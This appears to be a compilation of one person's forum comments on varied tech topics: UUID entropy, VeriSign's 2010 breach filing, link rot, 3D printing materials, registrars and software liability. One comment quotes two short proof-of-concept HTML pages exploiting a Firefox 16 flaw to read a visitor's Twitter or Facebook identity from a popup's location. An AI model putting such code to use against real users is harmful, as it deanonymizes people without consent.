pittsburgh

"Rocks That Crackle and Sparkle and Glow: Strange Pre-Earthquake Phenomena"

http://www.scientificexploration.org/journal/jse_17_1_freund... [PDF]

I really wish I could provide details, but I'll just say that I would be extremely surprised if Nook wasn't around and doing well in five years. My coworkers and I really enjoy working here, and none of us worry about job security.

Imagine you need a UUID in JavaScript. Here's a function that does it:

  function UUID() {
    return "4444-8888-FFFFFFFFFFFF";
  }

  'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
    var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);
    return v.toString(16);
  });
    

Given enough time, two browsers will eventually generate a UUID at the same moment, meaning they both use the same seed and therefore generate the same UUID.

So, why not seed a pseudo-random number generator in JavaScript yourself with something better than the current time? Because client-side JavaScript doesn't have access to good sources of entropy. Within the browser, your sources of entropy are limited to things like the current time, the window dimensions, the user agent string, the number of plugins installed, etc. You could capture mouse movements and keyboard clicks over time, but it would take a while to generate sufficient entropy for a cryptographically secure random number. Also, if you need to generate a UUID on page load you can't wait for the user to jiggle their mouse.

Meanwhile, the server has access to better sources of entropy. For example, many /dev/random implementations use the time between hard drive seeks as a source of entropy. Of course this entropy pool would be exhausted quickly, but you could replenish the pool with outside sources of entropy such as white noise from a radio ( https://www.random.org/history/ ) or even radioactive decay ( http://www.fourmilab.ch/hotbits/ ).

I don't know what sources of entropy http://uuid.me is using to generate random UUIDs, but it might be better than what JavaScript is capable of on its own. If uuid.me served its UUIDs in JSON, then you could make a JSONP call in JavaScript, providing you with a UUID that is much less likely to ever collide with another client's UUID.

His proof-of-concept of the vulnerability can be found at http://www.businessinfo.co.uk/labs/firefox_knows_what_your_f... (Best fetched via curl... or Firefox 16.0 with an active Twitter session if you're daring.)

Or you can just see the source here:

  <!doctype html>
  <script>
  function poc() {
    var win = window.open('https://twitter.com/lists/',
      'newWin', 'width=200,height=200');
    setTimeout(function(){
      alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
    }, 5000);
  }
  </script>
  <input type=button value="Firefox knows" onclick="poc()">

  <!doctype html>
  <script>
  function poc() {
    var win = window.open('https://facebook.com/profile.php',
      'newWin', 'width=200,height=200');
    setTimeout(function(){
      alert('Hello ' + win.location);
    }, 5000);
  }
  </script>
  <input type=button value="Firefox knows" onclick="poc()">

That said, as a user, it's hard to hate ReCaptcha after hearing Luis von Ahn talk about and defend his invention: http://www.youtube.com/watch?v=-Ht4qiDRZE8

It's a clever way to digitize books (and now street signs) while keeping out spambots, and when I combine that knowledge with my affinity for Luis von Ahn as a person I find myself less annoyed every time I have to prove I'm not a robot.

From the filing: We experienced security breaches in the corporate network in 2010 which were not sufficiently reported to Management.

In 2010, the Company faced several successful attacks against its corporate network in which access was gained to information on a small portion of our computers and servers. We have investigated and do not believe these attacks breached the servers that support our Domain Name System (“DNS”) network. Information stored on the compromised corporate systems was exfiltrated. The Company’s information security group was aware of the attacks shortly after the time of their occurrence and the group implemented remedial measures designed to mitigate the attacks and to detect and thwart similar additional attacks. However, given the nature of such attacks, we cannot assure that our remedial actions will be sufficient to thwart future attacks or prevent the future loss of information. In addition, although the Company is unaware of any situation in which possibly exfiltrated information has been used, we are unable to assure that such information was not or could not be used in the future.

The occurrences of the attacks were not sufficiently reported to the Company’s management at the time they occurred for the purpose of assessing any disclosure requirements. Management was informed of the incident in September 2011 and, following the review, the Company’s management concluded that our disclosure controls and procedures are effective. However, the Company has implemented reporting line and escalation organization changes, procedures and processes to strengthen the Company’s disclosure controls and procedures in this area. See Item 4 “Controls and Procedures” in Part I of this report.

It's interesting to note that the SEC issued guidelines on the reporting of security breaches on October 13th, 2011 ( http://www.sec.gov/divisions/corpfin/guidance/cfguidance-top... ) and VeriSign's SEC filing was released about two weeks later on October 28th, 2011. It could be the case that the security breach wasn't actually a major one, but because the SEC guidelines were so new they thought it prudent to mention even a minor security breach.

From this filing, there's no way to know the severity of the breach, which is why I think it's unfair for reuters to make this seem like a bigger deal than it might actually be. (They mention the RSA security breach which was a huge deal, and they suggest the attack was done by a "nation-state".) It reads like an article written by Nancy Grace.

Of course it could be the case that this was a major attack carried out by China, but it could also be a mundane attack on a public web server that wouldn't have made the news if not for the timing of the recent SEC guidelines. There's just no way to know from the information available.

Tangent: I'm extremely frustrated at how ephemeral web pages are. I googled the story to provide a reference, and the most reputable sources for the story are dead. I found 404s on Salon.com, Fox News, the Pittsburgh Tribune-Review, and PBS.org. Sadly, I found some of these links on a racist forum. It sucks that Storm Front keeps bytes around longer than these other sites.

Anyway, I just donated $25 to archive.org to support what they're doing. I've been using the Wayback Machine for years and always took it for granted. I'm not sure what made things different about tonight's frustration at broken links, but for the first time I just became worried about the preservation of history.

This is why Lawrence Lessig left the fight against intellectual property craziness to focus on the underlying problem of corruption.

It's been years since I heard Lessig was shifting his focus to fight corruption, and recently SOPA got me curious about what he's been up to and if SOPA had brought him back out of "retirement". That led me to this article, "Why Is Lawrence Lessig MIA In The Great SOPA Piracy Debate?" http://m.paidcontent.org/article/419-why-is-lawrence-lessig-...

which led me to Lessig's response: http://lessig.tumblr.com/post/13119510676/me-mia-on-the-sopa...

which led me to his iniative to fight political corruption through campaign finance reform: http://www.rootstrikers.org/

I'm actually glad to see that Lessig isn't letting SOPA distract him from his fight against corruption which is the root of the problem. Stopping SOPA would be a huge win, but it would only be a battle win, and as long as we're losing the corruption war there are going to be many more SOPAs to fight in the future.

I live in SF. I'm running a startup, and many of my friends are as well. Where are these lazy, get rich quick people I keep reading about? Am I just lucky to only be surrounded by hard-working entrepreneurs who are trying to build long-term viable businesses, or is this problem being overblown a little?

This is me genuinely asking, not making a statement in question form.

Also related: http://inhabitat.com/3-d-printer-creates-entire-buildings-fr...

Tensile Modulus (aka Young's Modulus) is a measure of how stiff a material is. Specifically, it's a measure of how much a material stretches under load. (Diamond has a very high tensile modulus while rubber has a very low tensile modulus.)

Ten years ago, people were 3D printing in plastics with a tensile modulus of under 1,000 MPa and they were happy with that. Today you can print in DSM Somos NanoTool which has a tensile modulus of 11,400 MPa. Keep in mind this is a plastic. ( Source: http://www.dsm.com/en_US/downloads/dsms/NanoTooleng_10.09.pd... )

If you need even stronger materials then you should consider using an SLS (selective laser sintering) printer that can build products in titanium, aluminum or steel. Imagine how many ants could safely walk across a bridge 3D printed in any of these!

* Stronger materials, such as Somos NeXt resin: http://www.dsm.com/en_US/html/dsms/next.htm

* Cheaper materials

* BioCompatible materials, such as Med610 which just came out last week: http://www.objet.com/3D-Printing-Materials/Overview/Bio-Comp...

* The ability to print in more than one material at a time, as shown in these human feet: http://www.objetblog.com/2011/09/21/a-table-of-3d-printed-fe...

* Higher resolution printing, such as the Objet Eden500V which can print detail as small as 0.0006”: http://www.objet.com/3D-Printer/Objet_Eden500V/

Examples of consumer products currently being made with the help of 3D printers include:

* Invisalign braces: http://www.youtube.com/watch?v=EVQq9joOS_4

* Hearing aids: http://i.materialise.com/blog/entry/3d-printing-in-medicine-...

* Jewelry: http://www.summerized.com/jewelry/

Things will really take off for 3D printing when printers can simultaneously print in multiple materials like plastic, metal, and rubber, and in multiple colors per part. Until then, you're right that 3D printers will continue to be used primarily for rapid prototyping, but this will change within a few years as the technology continues to improve and the cost continues to fall.

The project wasn't criticized for using open source software or Objective C. They were criticized for using non-approved software and for not getting a waiver to use the non-approved software.

There are a lot of existing hardware devices that have RS232 connections but don't support Bluetooth. For those devices this is "better" than Bluetooth in the sense that Bluetooth isn't an option at all.

  if("botulinum".equals(bacteria))

  if(bacteria.equals("botulinum"))

Since parsing regular expressions is so slow compared with performing an indexed search, it's difficult to think of a way to make that scale for a dataset as large as the public web. There's also the problem of having to protect against regex denial of service attacks: http://en.m.wikipedia.org/wiki/ReDoS

I've been able to (very partially) make up for the lack of regex support by taking advantage of Google's operators and wildcards:

http://www.googleguide.com/wildcard_operator.html

http://www.googleguide.com/advanced_operators.html

Some examples:

   "solar|lunar eclipse 1700..1800"

   "William * Clinton"

   Columbus -Ohio -Georgia -Christopher

Could anybody find the blog post they are referring to that explains their balance between simplicity and security? I was unable to. However, it does appear that they still send plaintext passwords via email: https://www.hover.com/send_password

If you're looking to switch registrars, I can't say enough good things about http://gandi.net. Their motto is literally "no bullshit" and it's the reason I switched to them a few years ago. They aren't the cheapest option, but their UI is very simple and aesthetically pleasing, they offer free DNS hosting, they don't clutter their checkout pages with any ads or ridiculous upsells, they don't kill elephants for fun ( http://mashable.com/2011/04/01/bob-parsons-elephant-story/ ), and they don't email your password in plaintext. There are very few companies I'm willing to rave about, but Gandi is one of them.

You bring up an interesting topic which is an extension of the first one. If the forces motivating a company to do the right thing are 1) desire to gain and not lose customers 2) desire to not be penalized by the government and 3) desire to not be sued, then what motivates an employee to also do the right thing? (I'm generalizing the question because this applies to so many things, but I'll switch back to talking about "building secure software" as a specific example of "doing the right thing".)

A software developer should be motivated to build secure code because of these motivators: 1) Desire to build or maintain a good reputation among peers 2) Desire to not get fired 3) Desire to protect employer from harm 4) Desire to protect customers from harm 5) Desire to just do things the right way for the sake of preferring good things over bad. (There's probably a more elegant way to phrase that last one, but it's like how an architect might fight against proposed changes to a blueprint for the sake of the building itself.)

To err is human, and companies are composed of humans. When a company hires a software developer, they are inherently taking on the risk that this human will make mistakes, so I don't think developers should be legally liable for bugs or vulnerabilities in their code unless they are incredibly egregious or intentional. It's the company's responsibility to anticipate the possibility of bugs and vulnerabilities, and to mitigate that risk by hiring good people, and by having good policies, procedures and training. (By having code reviews and conducting security audits, for example.)

I'm sure we're in agreement that developers shouldn't be sued for mistakes in their code, but whether or not they can be sued for honest mistakes is another question. I don't know what the law has to say about that, but if employees aren't already protected against lawsuits for non-egregious mistakes then that should be changed.

Hopefully the laws would be written so that when you post security best practices in your TOS and the customer does not follow them the liability can be mitigated (eg. don't reuse passwords on multiple sites)

I totally agree.  Customers have to bear some of the responsibility as well.

Re: AT&T where are they going to go? T-Mobile?

My point exactly! Going back to three motivators I mentioned for companies to do the right thing, AT&T knew it wouldn't lose a significant number of customers over the NSA spying issue because there's not much competition in their space. (That and apathy, unfortunately.) Also, they knew they wouldn't get penalized by the government for, well, forking data over to the government. That leaves the only viable option being to sue AT&T... except that power was taken away by retroactively granting AT&T immunity by FISA. ( http://en.wikipedia.org/wiki/Hepting_v._AT%26T ) This is what makes the AT&T/NSA issue so upsetting. All motivations for AT&T and other telecoms to "do the right thing" have been taken off the table.

Another great motivator for doing the right thing is knowing that customers will vote with their wallets. Unfortunately this isn't always a strong enough motivation because some markets don't have enough competition, or the cost and hassle of changing the companies you do business with is too high. (Don't you wish customers had left AT&T in droves over the NSA spying ordeal?)

That's where another force comes into play, which is government regulation. I lean libertarian, and although I think some regulation is an absolute necessity (especially on environmental issues) my preference is to have the least amount of regulation necessary. That brings us back to the attorneys. When a company like Sony screws up and exposes their customers' data, I'd rather see them get their pants sued off than have the government step in and regulate. Fear of being sued is a much more compelling reason to "do the right thing" than fear of breaking a law, which might only get you a slap on the wrist.

Do frivolous lawsuits exist? Yes, and they piss me off like the next person. Do scumball attorneys exist? Yes, and I hate them like you do. Ironically, I think some of this problem could be solved with new laws, but I haven't really thought about it enough to more specific. (Maybe something along the lines of the loser having to pay the the other side's legal fees, but I can also argue against that from ten angles. I really haven't spent enough time thinking about how to minimize frivolous lawsuits to feel like I can say anything intelligent about it, other than to say that I bet something can be done.)

Anyway, my point is that companies have different forces that can/should/do motivate them to provide data security, and the threat of lawsuit is an excellent one, right up there with fear of losing customers and fear of government regulation. Too much of any one of these forces is bad, but we wouldn't have a healthy mix without attorneys and their lawsuits.

Why isn't anybody commenting about the surprise ending to this article? Spolier: People thought Hemmingway was crazy for thinking the FBI was after him, but after he died it turned out they really were building a case on him.

But if enough of our ancient ancestors fell into bodies of water surrounded by steep, slippery rocks, then the 15-minute delay for gecko fingers to set in would be worth the wait. As long as they could tread water or hold their heads above it long enough, the grippy fingers might have really helped.

Edit: I like katovatzschyn's reasoning even better: http://news.ycombinator.com/item?id=2718662

Ugh. Explaining the mechanism behind a behavior is not an argument against its purpose!

Scientist A: I think polar bears evolved white fur so they'd be camouflaged in the snow.

Scientist Crazy Pants: No silly, polar bears have white fur because their hair follicles contain keratin and are hollow.

Scientist A: I'm going to kill you.

My friends and family often tell me that I'd be more content if I lowered my self-expectations, but I have trouble not equating that with throwing in the towel.

Is it possible to obtain a healthy balance in the middle? I hope so, otherwise I worry that the next Benjamin Franklin, or Steve Jobs, or insert-your-favorite-overachiever-here will read advice like this and take the easy route instead of working harder to follow their dreams.

Seriously though, I'd be thrilled if anybody could suggest that both are somehow possible.

No designers are forced to participate in 99 designs, and no companies are forced to use them. What they do is legal and ethical, so what's the problem?

I release all of my photos under a Creative Commons license on Flickr, and I've received comments from professional photographers complaining that my hobby hurts their profession. So what if it does? If amateurs are willing to do something for free, then that should encourage professionals to differentiate themselves by being better. If lowering their prices is also a consequence of that then so be it.

It reminds me of people who are against open source software because it competes with people who make and sell software for a living. Again, should open source groups stop what they're doing out of respect for people who do this for a living? I don't think they should. Especially when you realize that most open source contributors are professional developers who make a living building software.

I don't mean to disrespect designers at all. In fact, I have a tremendous amount of respect for great designers, and I've found that you usually get what you pay for when it comes to design. I wouldn't personally use 99 designs, but I just don't understand the hatred that a lot of people have toward them.

P.S. If you're looking for a great designer in the bay area, and you can afford a little more than 99 designs, I recommend Dual Aesthetic. http://www.dualaesthetic.com/